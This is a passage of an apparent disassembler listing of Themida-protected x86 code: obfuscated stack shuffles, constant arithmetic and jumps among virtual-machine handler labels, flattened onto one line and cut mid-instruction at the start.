[esp] jmp loc_552534 ; --------------------------------------------------------------------------- loc_55B14C: ; CODE XREF: Themida_:00556C47j mov dh, 0Dh jmp loc_554A22 ; --------------------------------------------------------------------------- loc_55B153: ; CODE XREF: Themida_:0055C4EDj push ebx push eax push 19E621B1h jmp loc_55DB53 ; --------------------------------------------------------------------------- loc_55B15F: ; CODE XREF: Themida_:005569C5j add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add ebx, 5203D20h push eax mov eax, 169D56E8h xchg eax, ebp jmp loc_557F01 ; --------------------------------------------------------------------------- loc_55B184: ; CODE XREF: Themida_:005576DAj shl edx, 5 add edx, 1232182Fh sub edx, 6D359D29h mov ebx, edx pop edx sub ebx, 332A40A0h sub ebx, 62A97582h add ebx, 3CDE06F1h add ebx, 793F9A28h jmp loc_55A8F3 ; --------------------------------------------------------------------------- loc_55B1B3: ; CODE XREF: Themida_:00554302j add edi, edx add edi, 4E9C4EC7h pop edx xchg edi, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B1CA: ; CODE XREF: Themida_:00556783j push esp pop edx add edx, 4 push ecx jmp loc_55DD00 ; --------------------------------------------------------------------------- loc_55B1D8: ; CODE XREF: Themida_:0055C59Ej pop esi jmp loc_557DA2 ; --------------------------------------------------------------------------- loc_55B1DE: ; CODE XREF: Themida_:00558523j mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 3EAD349Dh add ebx, 1 not ebx jmp loc_5561B2 ; --------------------------------------------------------------------------- loc_55B20B: ; CODE XREF: Themida_:0055CBD5j sub bl, dh pop edx jmp loc_55823E ; --------------------------------------------------------------------------- loc_55B213: ; CODE XREF: Themida_:0055271Ej push edx push ecx mov ecx, 29312E27h mov edx, ecx jmp loc_555F8E ; --------------------------------------------------------------------------- loc_55B221: ; CODE XREF: Themida_:0055A842j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55A8D4 ; --------------------------------------------------------------------------- loc_55B22F: ; CODE XREF: Themida_:00554568j inc ch jmp loc_55B894 ; --------------------------------------------------------------------------- loc_55B236: ; CODE XREF: Themida_:00557110j or eax, eax jz loc_5540D2 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_552CE4 ; --------------------------------------------------------------------------- loc_55B260: ; CODE XREF: Themida_:00556AD4j pop esi sub edx, 6B51762Bh jmp loc_556291 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi jmp loc_555153 ; --------------------------------------------------------------------------- loc_55B276: ; CODE XREF: Themida_:005541E3j mov [esp], esp jmp loc_559ADA ; --------------------------------------------------------------------------- loc_55B27E: ; CODE XREF: Themida_:0055AB03j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_551815 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx push ebx mov ebx, 4 add edx, ebx pop ebx sub esp, 4 mov [esp], esi push 23B754F0h pop esi not esi jmp loc_55AB13 ; --------------------------------------------------------------------------- loc_55B2B2: ; CODE XREF: Themida_:0055BA8Fj xor [esp+4], ebp pop ebp pop esi jmp loc_55CE98 ; --------------------------------------------------------------------------- loc_55B2BD: ; CODE XREF: Themida_:0055D7CBj push 78D4604Bh jmp loc_5548D7 ; --------------------------------------------------------------------------- loc_55B2C7: ; CODE XREF: Themida_:0055C8B7j sub al, ch jmp loc_5518FE ; --------------------------------------------------------------------------- loc_55B2CE: ; CODE XREF: Themida_:005521C3j pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_551997 ; --------------------------------------------------------------------------- loc_55B2E6: ; CODE XREF: Themida_:0055A7E1j shr ebp, 8 not ebp xor ebp, 0BFAB0E46h add eax, ebp pop ebp sub eax, 4C21409h add eax, edi jmp loc_55BDDA ; --------------------------------------------------------------------------- loc_55B300: ; CODE XREF: Themida_:00558DF7j mov esi, 95210CFh sub esi, 0FFFFFFFFh or esi, 89F04C5h add esi, 0F620EB2Fh add edx, esi pop esi jmp loc_5554AF ; --------------------------------------------------------------------------- loc_55B31C: ; CODE XREF: Themida_:0055AFF5j mov edi, eax mov eax, [esp] add esp, 4 inc edi push edi dec dword ptr [esp] pop edi xor edi, 79B75412h shl edi, 7 jmp loc_553542 ; --------------------------------------------------------------------------- loc_55B338: ; CODE XREF: Themida_:00559C60j add [esp+4], esi mov esi, [esp] jmp loc_555FC2 ; --------------------------------------------------------------------------- loc_55B344: ; CODE XREF: Themida_:00554EA7j push ebx mov ebx, 239A0E3Dh sub ebx, 12BD9C5Bh xor edx, ebx jmp loc_55BBB9 ; --------------------------------------------------------------------------- loc_55B357: ; CODE XREF: Themida_:00555FBDj mov eax, 609437D0h jmp loc_551DBC ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi push 4D29h mov [esp], esp push edx mov edx, 4 add [esp+4], edx push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop esi jmp loc_55511F ; --------------------------------------------------------------------------- loc_55B38D: ; CODE XREF: Themida_:0055785Dj push eax jmp loc_55DCAC ; --------------------------------------------------------------------------- loc_55B393: ; CODE XREF: Themida_:00552261j push ebp mov ebp, esp add ebp, 4 jmp loc_557022 ; --------------------------------------------------------------------------- loc_55B3A1: ; CODE XREF: Themida_:00558989j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B3A6: ; CODE XREF: Themida_:0055D6F0j mov esp, [esp] shr ecx, 7 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebx xor dword ptr [esp], 333E74E0h push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_55C6B3 ; --------------------------------------------------------------------------- loc_55B3E0: ; CODE XREF: Themida_:00554004j mov ebp, 6200936h add ebp, 27F45E0h inc ebp push ecx mov ecx, 89F4F16h jmp loc_5579A6 ; --------------------------------------------------------------------------- loc_55B3F7: ; CODE XREF: Themida_:00554572j mov esi, ebx pop ebx add [esp+4], esi pop esi pop ebp jmp loc_55AF97 ; --------------------------------------------------------------------------- loc_55B405: ; CODE XREF: Themida_:0055DB6Dj shl esi, 2 neg esi add esi, 0B3D95C38h and eax, esi jmp loc_557862 ; --------------------------------------------------------------------------- loc_55B417: ; CODE XREF: Themida_:005530FCj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_558006 ; --------------------------------------------------------------------------- loc_55B42B: ; CODE XREF: Themida_:00555DAAj sub esi, 4 xchg esi, [esp] jmp loc_554945 ; --------------------------------------------------------------------------- loc_55B436: ; CODE XREF: Themida_:00554119j sub esp, 4 mov [esp], ecx mov ecx, 4 sub ebx, ecx pop ecx push ebx push dword ptr [esp+4] pop ebx jmp loc_55BEAD ; --------------------------------------------------------------------------- loc_55B44F: ; CODE XREF: Themida_:0055D3D4j not ah inc ah sub ah, 3Ch jmp loc_55C991 ; --------------------------------------------------------------------------- loc_55B45B: ; CODE XREF: Themida_:00559CD4j sub esp, 4 mov [esp], ebp push ebx push 6ECF1497h mov ebx, [esp] add esp, 4 jmp loc_558CB3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_55468C ; --------------------------------------------------------------------------- loc_55B488: ; CODE XREF: Themida_:005543A8j sub ecx, 0E54300Ah pop ebp xchg ecx, [esp] jmp loc_556189 ; --------------------------------------------------------------------------- loc_55B497: ; CODE XREF: Themida_:0055D799j xor [esp], esi xor esi, [esp] pop esp or [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B4A8: ; CODE XREF: Themida_:00554204j push eax mov al, 0C3h add al, 0F1h add bl, al pop eax push ecx mov cl, 69h add cl, 34h not cl sub cl, 11h neg cl neg cl add cl, 1Fh add bl, cl pop ecx push ecx push edx jmp loc_558B9E ; --------------------------------------------------------------------------- loc_55B4CC: ; CODE XREF: Themida_:0055AB9Fj inc byte ptr [esp] pushf jmp loc_55DADB ; --------------------------------------------------------------------------- loc_55B4D5: ; CODE XREF: Themida_:0055B645j sub esi, ecx pop ecx add esi, eax add esi, 70033F9Fh jmp loc_558DA6 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 12685624h, 0E9000015h, 0FFFFCDECh ; --------------------------------------------------------------------------- loc_55B4F4: ; CODE XREF: Themida_:00559824j sub dh, 0D3h mov al, dh pop edx xor bl, al jmp loc_55CE58 ; --------------------------------------------------------------------------- loc_55B501: ; CODE XREF: Themida_:00551D34j pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B50F: ; CODE XREF: Themida_:0055BC0Fj push 5Bh jmp loc_55AC6A ; --------------------------------------------------------------------------- loc_55B519: ; CODE XREF: Themida_:005533CAj pop esp mov [esp], ax jmp loc_552A99 ; --------------------------------------------------------------------------- loc_55B523: ; CODE XREF: Themida_:00551B88j add al, 0ACh jmp loc_557DD2 ; --------------------------------------------------------------------------- loc_55B52A: ; CODE XREF: Themida_:00557E1Dj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B52F: ; CODE XREF: Themida_:00552F58j xor ebx, eax pop eax push edx push 23E8h mov [esp], ebx mov ebx, 26E77B17h mov edx, 5540BF39h sub edx, ebx pop ebx xor edx, 29FD00A3h dec edx xor edx, 0AC3B706Ch add ebx, edx pop edx jmp loc_554189 ; --------------------------------------------------------------------------- loc_55B55D: ; CODE XREF: Themida_:0055418Cj add edx, eax sub esp, 4 mov [esp], esi mov esi, 2A7D684Fh push edi push esi jmp loc_558CC9 ; --------------------------------------------------------------------------- loc_55B574: ; CODE XREF: Themida_:00557129j xor [edi+24h], edx inc edx jmp loc_5533BB ; --------------------------------------------------------------------------- loc_55B57D: ; CODE XREF: Themida_:00559BDFj inc edi jmp loc_55760B ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 19E621B1h add eax, ebx jmp loc_5550F4 ; --------------------------------------------------------------------------- loc_55B591: ; CODE XREF: Themida_:005539C0j add [esp+4], edi pop edi pop esi jmp loc_55A0AE ; --------------------------------------------------------------------------- loc_55B59C: ; CODE XREF: Themida_:00555F9Aj add esp, 4 push esi mov esi, esp push edi mov edi, 5EB45AE8h shr edi, 5 add edi, 5D574DF3h or edi, 7E33DD6h or edi, 6FF35D7Bh xor edi, 6C3C0DBCh add edi, 0FC3C0FC1h jmp loc_55342F ; --------------------------------------------------------------------------- loc_55B5D1: ; CODE XREF: Themida_:00555D70j add ax, si pop si pop cx push small 360Ah mov [esp], cx jmp loc_55DAB1 ; --------------------------------------------------------------------------- loc_55B5E5: ; CODE XREF: Themida_:0055ADD5j push 18B6h jmp loc_55D412 ; --------------------------------------------------------------------------- loc_55B5EF: ; CODE XREF: Themida_:0055C2F7j mov [esp], edx mov edx, esp push edi jmp loc_55434D ; --------------------------------------------------------------------------- loc_55B5FA: ; CODE XREF: Themida_:00557E02j sub al, 55h add al, ch add al, 55h mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ecx push ebx mov ebx, esp push ecx mov ecx, 3C88654Fh shr ecx, 1 jmp loc_55AEF8 ; --------------------------------------------------------------------------- loc_55B61D: ; CODE XREF: Themida_:00559403j push ecx mov ecx, 4 add edi, ecx pop ecx add edi, 4 xchg edi, [esp] jmp loc_55D985 ; --------------------------------------------------------------------------- loc_55B631: ; CODE XREF: Themida_:0055BACDj pop ecx push 795h mov [esp], esi jmp loc_55A0EE ; --------------------------------------------------------------------------- loc_55B63F: ; CODE XREF: Themida_:0055D266j add ecx, 29000905h jmp loc_55B4D5 ; --------------------------------------------------------------------------- loc_55B64A: ; CODE XREF: Themida_:00555CA6j pop ebx and edi, 1B1719B8h jmp loc_552872 ; --------------------------------------------------------------------------- loc_55B656: ; CODE XREF: Themida_:00556D33j add esp, 4 xchg eax, [esp] mov esp, [esp] push edi jmp loc_5571C3 ; --------------------------------------------------------------------------- loc_55B665: ; CODE XREF: Themida_:00556FDCj sub edi, edx pop edx jmp loc_5583AB ; --------------------------------------------------------------------------- loc_55B66D: ; CODE XREF: Themida_:0055C75Cj sub eax, 461B0EE7h pop edi sub esp, 4 mov [esp], edi push ecx jmp loc_552923 ; --------------------------------------------------------------------------- loc_55B682: ; CODE XREF: Themida_:0055CBECj push esp jmp loc_5546D8 ; --------------------------------------------------------------------------- loc_55B688: ; CODE XREF: Themida_:0055BBB4j mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ebp mov ebp, 4 add edi, ebp pop ebp push ebx mov ebx, 2 add edi, 40DA04E9h add edi, ebx sub edi, 40DA04E9h mov ebx, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_55CACE ; --------------------------------------------------------------------------- loc_55B6CE: ; CODE XREF: Themida_:0055C3AEj mov ah, 0E5h sub cl, ah pop ax sub cl, 62h jmp loc_552789 ; --------------------------------------------------------------------------- loc_55B6DC: ; CODE XREF: Themida_:00551F8Aj add ebp, 4 jmp loc_557FDC ; --------------------------------------------------------------------------- loc_55B6E4: ; CODE XREF: Themida_:00558E4Bj neg esi and esi, 5DAE66CEh add esi, 0F7F9DB80h sub eax, 41395C8Dh add eax, esi add eax, 41395C8Dh pop esi push ecx jmp loc_553965 ; --------------------------------------------------------------------------- loc_55B705: ; CODE XREF: Themida_:00559419j pop edx jmp loc_55CDBF ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_557FF5 ; --------------------------------------------------------------------------- loc_55B724: ; CODE XREF: Themida_:00559270j mov edi, 4 sub edx, 5DDA23E1h add edx, edi jmp loc_5575C0 ; --------------------------------------------------------------------------- loc_55B736: ; CODE XREF: Themida_:005533ACj and dh, 64h shl dh, 4 sub dh, 0FCh add al, 53h add al, dh push bx mov bh, 53h sub al, bh pop bx pop edx sub al, bl jmp loc_559A51 ; --------------------------------------------------------------------------- loc_55B753: ; CODE XREF: Themida_:00551B09j mov [esp], esp jmp loc_552D08 ; --------------------------------------------------------------------------- loc_55B75B: ; CODE XREF: Themida_:00552B2Ej pop eax add eax, 4 add eax, 2 xchg eax, [esp] jmp loc_55D00C ; --------------------------------------------------------------------------- loc_55B76C: ; CODE XREF: Themida_:00553E96j sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_55B7CF ; --------------------------------------------------------------------------- loc_55B77C: ; CODE XREF: Themida_:0055D87Bj push 45F5h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_559A98 ; --------------------------------------------------------------------------- loc_55B79B: ; CODE XREF: Themida_:0055C4DFj pop ecx xchg ebx, [esp] pop esp jmp loc_554018 ; --------------------------------------------------------------------------- loc_55B7A5: ; CODE XREF: Themida_:00551D6Ej add eax, ecx pop ecx push ecx push edx jmp loc_55B993 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 jmp loc_55443B ; --------------------------------------------------------------------------- loc_55B7BD: ; CODE XREF: Themida_:00551977j mov esp, [esp] jmp loc_5558D8 ; --------------------------------------------------------------------------- loc_55B7C5: ; CODE XREF: Themida_:005538DFj mov ebp, 0BD3EA9F6h jmp loc_553C75 ; --------------------------------------------------------------------------- loc_55B7CF: ; CODE XREF: Themida_:0055B777j add ebx, 4 push ecx mov ecx, 4 jmp loc_55D6F5 ; --------------------------------------------------------------------------- loc_55B7E0: ; CODE XREF: Themida_:0055B8EFj push 3DE8h mov [esp], esi push 4337h jmp loc_55C26C ; --------------------------------------------------------------------------- loc_55B7F2: ; CODE XREF: Themida_:005562DFj add ecx, edx add ecx, 4DCD6CC2h push ebx mov ebx, 0 add ebx, ecx jmp loc_5584C2 ; --------------------------------------------------------------------------- loc_55B807: ; CODE XREF: Themida_:00557ECBj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 2 jmp loc_55AB93 ; --------------------------------------------------------------------------- loc_55B822: ; CODE XREF: Themida_:00553796j push 2166h mov [esp], edx jmp loc_557D3D ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 12D7h mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, 1EDF0E94h sub ebp, edx add ebp, 1EDF0E94h pop edx xchg ebp, [esp] pop esp mov [esp], edi mov edi, 3C133C5Ah xor eax, edi push dword ptr [esp] pop edi jmp loc_5570F5 ; --------------------------------------------------------------------------- loc_55B86E: ; CODE XREF: Themida_:00558F50j sub [esp+2], dh pop dx sub [esp], dl add byte ptr [esp], 9 mov dl, [esp] add esp, 2 push eax jmp loc_553D6B ; --------------------------------------------------------------------------- mov eax, [esp] push 75F9h jmp loc_55DD61 ; --------------------------------------------------------------------------- loc_55B894: ; CODE XREF: Themida_:0055B231j shr ch, 6 shl ch, 5 neg ch jmp loc_55595C ; --------------------------------------------------------------------------- loc_55B8A1: ; CODE XREF: Themida_:00559998j shr ecx, 4 jmp loc_556994 ; --------------------------------------------------------------------------- loc_55B8A9: ; CODE XREF: Themida_:0055BCF5j pop esp push esi mov esi, esp jmp loc_555795 ; --------------------------------------------------------------------------- loc_55B8B2: ; CODE XREF: Themida_:0055CB57j xor [esp], ebx xor ebx, [esp] pop esp xor [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55B8C3: ; CODE XREF: Themida_:0055DC88j xor edi, eax pop eax push edx mov edx, 5F147458h add edx, 0ACF802CAh and edi, edx pop edx jmp loc_558F42 ; --------------------------------------------------------------------------- push ebp mov ebp, 4 sub dword ptr [esp+4], 492939h jmp loc_554C0E ; --------------------------------------------------------------------------- loc_55B8ED: ; CODE XREF: Themida_:0055D8D6j mov edi, esp jmp loc_55B7E0 ; --------------------------------------------------------------------------- loc_55B8F4: ; CODE XREF: Themida_:0055C3D3j mov [esp], ebx mov eax, [esp] jmp loc_55AA08 ; --------------------------------------------------------------------------- loc_55B8FF: ; CODE XREF: Themida_:00552F6Fj add esp, 4 jmp loc_5525EA ; --------------------------------------------------------------------------- loc_55B90A: ; CODE XREF: Themida_:0055DC47j mov [esp], ecx push eax mov al, bh mov ch, al pop eax not ch mov bh, ch pop ecx neg bh shl bh, 3 push edx mov dl, 3Ah shr dl, 1 push eax mov al, 0C6h or al, 63h jmp loc_55BD8C ; --------------------------------------------------------------------------- loc_55B92C: ; CODE XREF: Themida_:00559E57j add edi, ecx pop ecx sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 jmp loc_559513 ; --------------------------------------------------------------------------- loc_55B957: ; CODE XREF: Themida_:005582F8j sub ebx, 3824034Ch add ebx, 2B3D6551h sub ebx, 61DE35BBh sub ebx, 4CA39A0h add ebp, ebx pop ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5599FD ; --------------------------------------------------------------------------- loc_55B98A: ; CODE XREF: Themida_:00556803j pop edi xchg ecx, [esp] jmp loc_55BFB2 ; --------------------------------------------------------------------------- loc_55B993: ; CODE XREF: Themida_:0055B7AAj mov edx, 46831725h mov ecx, edx pop edx add eax, ecx jmp loc_55A232 ; --------------------------------------------------------------------------- loc_55B9A2: ; CODE XREF: Themida_:005578CAj xor eax, 405C285h add ebx, eax pop eax add ebx, 6FF65D94h sub ebx, eax push edi mov edi, 6EE372C5h dec edi sub edi, 3E9F6512h add edi, 3FB24FE2h jmp loc_55AD61 ; --------------------------------------------------------------------------- loc_55B9CA: ; CODE XREF: Themida_:00558964j add eax, 4 push ebp jmp loc_55C8EC ; --------------------------------------------------------------------------- loc_55B9D5: ; CODE XREF: Themida_:00557707j add ecx, esi jmp loc_551F58 ; --------------------------------------------------------------------------- loc_55B9DC: ; CODE XREF: Themida_:0055BF44j not ebp push edx mov edx, 7195094Dh dec edx shr edx, 4 push ebx mov ebx, 7AAF5FE7h sub edx, ebx jmp loc_5584F2 ; --------------------------------------------------------------------------- loc_55B9F5: ; CODE XREF: Themida_:00559EF2j xor ecx, 16B958h add edx, ecx pop ecx jmp loc_5557B4 ; --------------------------------------------------------------------------- loc_55BA03: ; CODE XREF: Themida_:0055A59Cj push edx push ebp mov ebp, 644C2769h mov edx, 56416570h jmp loc_55C3F3 ; --------------------------------------------------------------------------- loc_55BA14: ; CODE XREF: Themida_:00555E69j pop ebx or edx, eax shl edx, 1 push 54BCh mov [esp], ecx mov ecx, 24h sub ecx, 138047A6h push edi mov edi, 7CE0503Dh sub ecx, edi pop edi add ecx, edi add ecx, 7CE0503Dh jmp loc_558AD3 ; --------------------------------------------------------------------------- loc_55BA42: ; CODE XREF: Themida_:0055C41Bj mov al, 6Ah jmp loc_55321B ; --------------------------------------------------------------------------- loc_55BA49: ; CODE XREF: Themida_:0055A0A9j pop edi not edx shl edx, 3 add edx, 585FB6D5h xor esi, edx jmp loc_55D1F5 ; --------------------------------------------------------------------------- loc_55BA5C: ; CODE XREF: Themida_:00559E86j sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_55CD3A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push ecx push esp pop ecx jmp loc_5554EE ; --------------------------------------------------------------------------- loc_55BA7C: ; CODE XREF: Themida_:00556228j push ebp jmp loc_55235D ; --------------------------------------------------------------------------- loc_55BA82: ; CODE XREF: Themida_:005540BEj neg eax jmp loc_551AA8 ; --------------------------------------------------------------------------- loc_55BA89: ; CODE XREF: Themida_:005588B4j push ebp mov ebp, 377E0CDDh jmp loc_55B2B2 ; --------------------------------------------------------------------------- loc_55BA94: ; CODE XREF: Themida_:00553DFAj xor dl, cl pop ecx xor dl, bh push dword ptr [esp] pop ebx add esp, 4 xor al, dl mov edx, [esp] add esp, 4 xor bl, al push 226Fh mov [esp], ebp mov ebp, 3FCh push edx push ecx mov ecx, 30B72858h jmp loc_55438E ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_554C42 ; --------------------------------------------------------------------------- loc_55BACC: ; CODE XREF: Themida_:0055857Bj pop ebx jmp loc_55B631 ; --------------------------------------------------------------------------- loc_55BAD2: ; CODE XREF: Themida_:0055D0BBj pop ebx add edx, 4 xchg edx, [esp] pop esp push eax jmp loc_557FE4 ; --------------------------------------------------------------------------- loc_55BAE3: ; CODE XREF: Themida_:0055AD98j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55BAE8: ; CODE XREF: Themida_:00556E35j mov esp, [esp] jmp loc_55DC8D ; --------------------------------------------------------------------------- loc_55BAF0: ; CODE XREF: Themida_:0055A10Fj add al, ch add al, 62h push dword ptr [esp] pop ecx push ebp push esp jmp loc_553592 ; --------------------------------------------------------------------------- loc_55BAFF: ; CODE XREF: Themida_:005546FFj sub ebx, 6FC94AEAh add ebx, edx add ebx, 6FC94AEAh sub ebx, 7B1748E9h pop edx jmp loc_556688 ; --------------------------------------------------------------------------- loc_55BB19: ; CODE XREF: Themida_:0055D9BDj mov [esp], edi push ebp mov ebp, 36617933h not ebp inc ebp inc ebp jmp loc_558784 ; --------------------------------------------------------------------------- loc_55BB2B: ; CODE XREF: Themida_:00554E56j push ebp jmp loc_555CF0 ; --------------------------------------------------------------------------- loc_55BB31: ; CODE XREF: Themida_:0055C20Fj xchg esi, [esp] pop esp or edx, eax shl edx, 1 jmp loc_55263E ; --------------------------------------------------------------------------- loc_55BB3E: ; CODE XREF: Themida_:00554184j add ebx, 16CE6693h dec ebx xor ebx, 13FED550h and edi, ebx pop ebx jmp loc_55C0FF ; --------------------------------------------------------------------------- loc_55BB53: ; CODE XREF: Themida_:0055AC84j sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_558679 ; --------------------------------------------------------------------------- loc_55BB5F: ; CODE XREF: Themida_:0055803Cj sub dh, 0DFh jmp loc_558ABE ; --------------------------------------------------------------------------- loc_55BB67: ; CODE XREF: Themida_:0055DB1Ej dec ebp add ebp, 66F36067h sub ebp, 208918E5h push eax mov eax, 0BC02B92Dh add ebp, eax pop eax jmp loc_553307 ; --------------------------------------------------------------------------- loc_55BB82: ; CODE XREF: Themida_:0055A070j add esp, 4 jmp loc_55A2A8 ; --------------------------------------------------------------------------- loc_55BB8A: ; CODE XREF: Themida_:005529FBj pop esi sub esp, 4 mov [esp], eax jmp loc_559002 ; --------------------------------------------------------------------------- loc_55BB99: ; CODE XREF: Themida_:00554A24j inc dh add dh, 22h sub dh, 48h add bl, dh pop edx sub bl, 0B1h sub bl, al push eax push ecx jmp loc_55ACC4 ; --------------------------------------------------------------------------- loc_55BBB0: ; CODE XREF: Themida_:00556144j xchg ecx, [esp] pop esp jmp loc_55B688 ; --------------------------------------------------------------------------- loc_55BBB9: ; CODE XREF: Themida_:0055B352j pop ebx mov ecx, edx pop edx push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx jmp loc_559712 ; --------------------------------------------------------------------------- loc_55BBD5: ; CODE XREF: Themida_:00557D69j and edx, 0D9F2318h inc edx xor edx, 9102000h mov esi, edx jmp loc_5547C1 ; --------------------------------------------------------------------------- loc_55BBE9: ; CODE XREF: Themida_:00559E24j add ebp, edx sub ebp, 2F6668F3h sub ebp, 2BB865F6h add ebp, 37C921B2h push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_55B50F ; --------------------------------------------------------------------------- loc_55BC14: ; CODE XREF: Themida_:0055A653j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_555ADB ; --------------------------------------------------------------------------- loc_55BC28: ; CODE XREF: Themida_:0055292Bj add ecx, 23D95D60h jmp loc_55690D ; --------------------------------------------------------------------------- loc_55BC33: ; CODE XREF: Themida_:00556FC8j add esi, 4 add esi, 4 jmp loc_55183F ; --------------------------------------------------------------------------- loc_55BC41: ; CODE XREF: Themida_:0055584Dj pop edx jmp loc_555722 ; --------------------------------------------------------------------------- loc_55BC47: ; CODE XREF: Themida_:0055AB64j sub edx, 434515A4h jmp loc_554EE6 ; --------------------------------------------------------------------------- loc_55BC52: ; CODE XREF: Themida_:00551EBEj add esp, 4 loc_55BC58: ; CODE XREF: Themida_:005562F1j push ebx xor dword ptr [esp], 6D22611Eh push dword ptr [esp] pop eax sub esp, 4 jmp loc_5557AC ; --------------------------------------------------------------------------- loc_55BC6C: ; CODE XREF: Themida_:0055DB7Aj movzx ecx, ax jmp loc_557474 ; --------------------------------------------------------------------------- loc_55BC74: ; CODE XREF: Themida_:0055A3A0j xor esi, 19589310h and eax, esi mov esi, [esp] add esp, 4 shr eax, 10h xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp push ebp push esi jmp loc_55D32A ; --------------------------------------------------------------------------- loc_55BC97: ; CODE XREF: Themida_:0055742Aj mov eax, 4 sub edx, 2F0F74F9h add edx, eax push ecx push ebx mov ebx, 92827C6h add ebx, 1DCE09CDh sub ebx, 1 shl ebx, 7 add ebx, 1 add ebx, 0B1074692h mov ecx, ebx jmp loc_5551EC ; --------------------------------------------------------------------------- loc_55BCCA: ; CODE XREF: Themida_:0055AA8Dj mov ebp, esp add ebp, 4 jmp loc_551DE1 ; --------------------------------------------------------------------------- loc_55BCD7: ; CODE XREF: Themida_:0055BD34j inc ebx add ebx, 0B4CDF6ACh push ebx mov ebx, 3F1935E3h jmp loc_5524A8 ; --------------------------------------------------------------------------- loc_55BCE9: ; CODE XREF: Themida_:0055D53Aj xchg ebp, [esp] pop esp jmp loc_55CD32 ; --------------------------------------------------------------------------- loc_55BCF2: ; CODE XREF: Themida_:005567FBj xchg edx, [esp] jmp loc_55B8A9 ; --------------------------------------------------------------------------- loc_55BCFA: ; CODE XREF: Themida_:005556E5j push dword ptr [esp] mov ebp, [esp] jmp loc_55CEEF ; --------------------------------------------------------------------------- loc_55BD05: ; CODE XREF: Themida_:00555BB3j sub dl, al add dl, 56h mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor dl, 0F6h jmp loc_5596B8 ; --------------------------------------------------------------------------- loc_55BD28: ; CODE XREF: Themida_:0055361Aj push esp jmp loc_559693 ; --------------------------------------------------------------------------- loc_55BD2E: ; CODE XREF: Themida_:0055A0BEj push ebx mov ebx, 4B320955h jmp loc_55BCD7 ; --------------------------------------------------------------------------- loc_55BD39: ; CODE XREF: Themida_:0055C959j add edi, 32CDC490h or ecx, edi pop edi jmp loc_556C95 ; --------------------------------------------------------------------------- loc_55BD47: ; CODE XREF: Themida_:00553E2Cj push esi push edi jmp loc_559573 ; --------------------------------------------------------------------------- loc_55BD4E: ; CODE XREF: Themida_:0055D2A6j and esi, 0D035812h jmp loc_554F90 ; --------------------------------------------------------------------------- loc_55BD59: ; CODE XREF: Themida_:0055ADEDj shr ecx, 7 jmp loc_55ABD0 ; --------------------------------------------------------------------------- loc_55BD61: ; CODE XREF: Themida_:00559D2Fj add edi, edx pop edx xchg edi, [esp] mov esp, [esp] add ebx, 4 jmp loc_5570B9 ; --------------------------------------------------------------------------- loc_55BD75: ; CODE XREF: Themida_:00553C62j pop esp jmp loc_551815 ; --------------------------------------------------------------------------- loc_55BD7B: ; CODE XREF: Themida_:00553F9Dj push 65E9h mov [esp], esp add dword ptr [esp], 4 jmp loc_55D5A1 ; --------------------------------------------------------------------------- loc_55BD8C: ; CODE XREF: Themida_:0055B927j or al, 0A7h add al, 0BDh or dl, al pop eax or dl, 16h and dl, 50h sub dl, 69h dec dl not dl not dl jmp loc_5531CA ; 